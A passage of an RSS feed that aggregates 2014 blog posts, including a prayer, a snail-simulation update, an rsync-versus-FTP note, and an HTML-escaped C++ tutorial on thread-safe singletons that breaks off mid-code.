&lt;p&gt;open a browser and test it out.&lt;/p&gt;</description><author>Donat Studios</author><pubDate>Fri, 17 Oct 2014 10:27:59 GMT</pubDate><guid isPermaLink="true">https://donatstudios.com/PHP-in-OS-X-Yosemite</guid></item><item><title>2014-10-17</title><link>https://ho.dges.online/pictures/2014-10-17/</link><description/><author>ho.dges.online</author><pubDate>Fri, 17 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-10-17/</guid></item><item><title>I Surrender All</title><link>http://evantravers.com/articles/2014/10/16/i-surrender-all/</link><description>&lt;p&gt;&lt;img alt="peaceful lake" src="https://images.evantravers.com/articles/2014/10/peaceful.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;Jesus... Thank you for bringing a theme of surrender to my heart again and
again. It's one thing to describe you as my Lord, it's another entirely put
myself to death. I have been finding my mind constantly gnawing on my fears and
worries and putting all my hopes in my feverishly crafted dreams and plans...
And this will not do.&lt;/p&gt;
&lt;p&gt;I have been convicted of this. My hope is in the you, to bury the bones of my
past, to deal with my fears of the present, and to bring me safely into a
future more wonderful than my mind can now imagine. All it takes is for me to
wrestle my screaming ego to the ground and force it to stop &lt;em&gt;trying&lt;/em&gt;. Turns out
this surrender is hard work.&lt;/p&gt;
&lt;p&gt;Heavenly Father, you know all the issues of my heart, because you made me. You
placed some of those desires and plans there, but I have allowed them to be
unruly and placed them on the throne of my life. Come conquer, subdue, and
redeem them as I confess them one by one, so that I can find daily rest in the
fact that the lover of my soul is in command of the cosmos. Be near to me
today. In Jesus' peace-giving name, amen.&lt;/p&gt;</description><author>trv.rs</author><pubDate>Thu, 16 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">http://evantravers.com/articles/2014/10/16/i-surrender-all/</guid></item><item><title>The ongoing saga of snail mating decisions</title><link>https://liza.io/the-ongoing-saga-of-snail-mating-decisions/</link><description>&lt;p&gt;I&amp;rsquo;ve written about snail breeding here before, at length. However, since I now want snail behavior to go through the brain I had to rework the trigger that led to two snails mating and producing offspring. A few different things had to be prototyped to make this work, especially because in a snail&amp;rsquo;s mind there is no real way of distinguishing food from another snail without learning from experience and some basic instincts to guide the way.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Wed, 15 Oct 2014 00:40:32 GMT</pubDate><guid isPermaLink="true">https://liza.io/the-ongoing-saga-of-snail-mating-decisions/</guid></item><item><title>Wiry: An Open Source Wireframe</title><link>https://solomon.io/wiry/</link><description>Wiry is an open source wireframe template for agencies an freelancers.</description><author>Sam Solomon</author><pubDate>Tue, 14 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/wiry/</guid></item><item><title>Quickly Transferring Files In Linux: Transfer files intellegently with RSync</title><link>https://joshuarogers.net/articles/2014-10/quickly-transferring-files-linux/</link><description>This weekend I spent some time migrating my Minecraft server a good 700 miles closer to my house. The new server is ~30 milliseconds closer. If you play games, you probably know how huge that can be.
So, how did I move data to the new server? FTP, right? No. Definitely no.
Why not FTP? FTP is plain-text Unless you're using something like FTPS, you'll be sending your server credentials across the wire in plain text, so anyone sitting between you and your new server has all the info they need to login.</description><author>Joshua Rogers</author><pubDate>Mon, 13 Oct 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-10/quickly-transferring-files-linux/</guid></item><item><title>Cascade Mountains Excursion</title><link>http://gearpatrol.com/2014/10/07/photo-essay-cascade-mountains-excursion/</link><description>&lt;p&gt;Once again, another great photo essay from Gear Patrol, this time on the Cascade Mountains rather than &lt;a href="https://zacs.site/blog/sabi-sands-game-reserve.html"&gt;South Africa&amp;#8217;s Sabi Sands game reserve&lt;/a&gt;. I&amp;#8217;ll add this to the ever-growing list of places I would love to visit. Someday, always someday.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://gearpatrol.com/2014/10/07/photo-essay-cascade-mountains-excursion/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 13 Oct 2014 11:03:30 GMT</pubDate><guid isPermaLink="true">http://gearpatrol.com/2014/10/07/photo-essay-cascade-mountains-excursion/</guid></item><item><title>Concurrency: Thread-safe Singletons</title><link>https://whackylabs.com/concurrency/2014/10/12/concurrency-thread-safe-singletons/</link><description>&lt;p&gt;Love them or hate them, you just can not ignore
&lt;a href="http://127.0.0.1/rants/?tag=singleton"&gt;singletons&lt;/a&gt;. Let’s try
experimenting with singletons and concurrency.&lt;/p&gt;

&lt;p&gt;Singletons are objects that you wish to have only a single instance all
over your program lifecycle. Usually, you want to create singleton
objects lazily. Here’s a typical way you can create a singleton in a
single threaded application.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Library&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;public:&lt;/span&gt;
    &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;Library&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;SharedInstance&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;shared_&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;shared_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Library&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;shared_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Dealloc&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;shared_&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;delete&lt;/span&gt; &lt;span class="n"&gt;shared_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    
    &lt;span class="n"&gt;Library&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;books_&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"Ernest Hemingway"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Old man and the sea"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"Aldous Huxley"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Brave new world"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"Aldous Huxley"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"The Genius and the Goddess"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"Aldous Huxley"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Antic Hay"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"Salman Rushdie"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Midnight's children"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"Fyodor Dostovesky"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Crime and punishment"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"Boris Pasternak"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Doctor Zhivago"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"Bernard Shaw"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Arms and the Man"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"Bernard Shaw"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Man and Superman"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Library "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="n"&gt;Library&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"~Library "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;GetBooks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;author&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;multimap&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;::&lt;/span&gt;&lt;span class="n"&gt;const_iterator&lt;/span&gt; &lt;span class="n"&gt;BookIt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;pair&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;BookIt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BookIt&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;range&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;  &lt;span class="n"&gt;books_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;equal_range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;author&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;bookList&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BookIt&lt;/span&gt; &lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;range&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;range&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;second&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;bookList&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;push_back&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;second&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;bookList&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;GetSize&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;books_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nl"&gt;private:&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;multimap&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;books_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;Library&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;shared_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="n"&gt;Library&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Library&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;shared_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;PrintBooks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;author&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Searching for author: "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;author&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;list&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Library&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;SharedInstance&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;GetBooks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;author&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ostream_iterator&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;PrintSize&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Library Size: "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;Library&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;SharedInstance&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;GetSize&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;" books"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When invoked with:&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;SerialImpl&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="n"&gt;searchAuthor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Aldous Huxley"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;PrintBooks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;searchAuthor&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;PrintSize&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;ThreadsafeSingleton_main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;SerialImpl&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;Library&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Dealloc&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We get&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Searching for author: Aldous Huxley
Library 0x100a6bfe0
Brave new world
The Genius and the Goddess
Antic Hay
Library Size: 9 books
~Library 0x100a6bfe0
main() exit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We see that our singleton actually gets created lazily when actually
required and also gets deallocated when the program finally quits,
thanks to the Dealloc() function.&lt;/p&gt;

&lt;p&gt;Next, lets try calling it from multiple threads.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;ConcurrentImpl&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="n"&gt;searchAuthor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Aldous Huxley"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="kr"&gt;thread&lt;/span&gt; &lt;span class="n"&gt;bookSearchThread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PrintBooks&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;searchAuthor&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="kr"&gt;thread&lt;/span&gt; &lt;span class="n"&gt;libSizeThread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PrintSize&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;bookSearchThread&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;libSizeThread&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This might actually work or not depending on how the threads are
switching on your machine. To see what is problem with this code, let’s
deliberately sleep the thread while creating the singleton instance.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;    &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;Library&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nf"&gt;SharedInstance&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;shared_&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;this_thread&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;sleep_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;chrono&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
            &lt;span class="n"&gt;shared_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Library&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
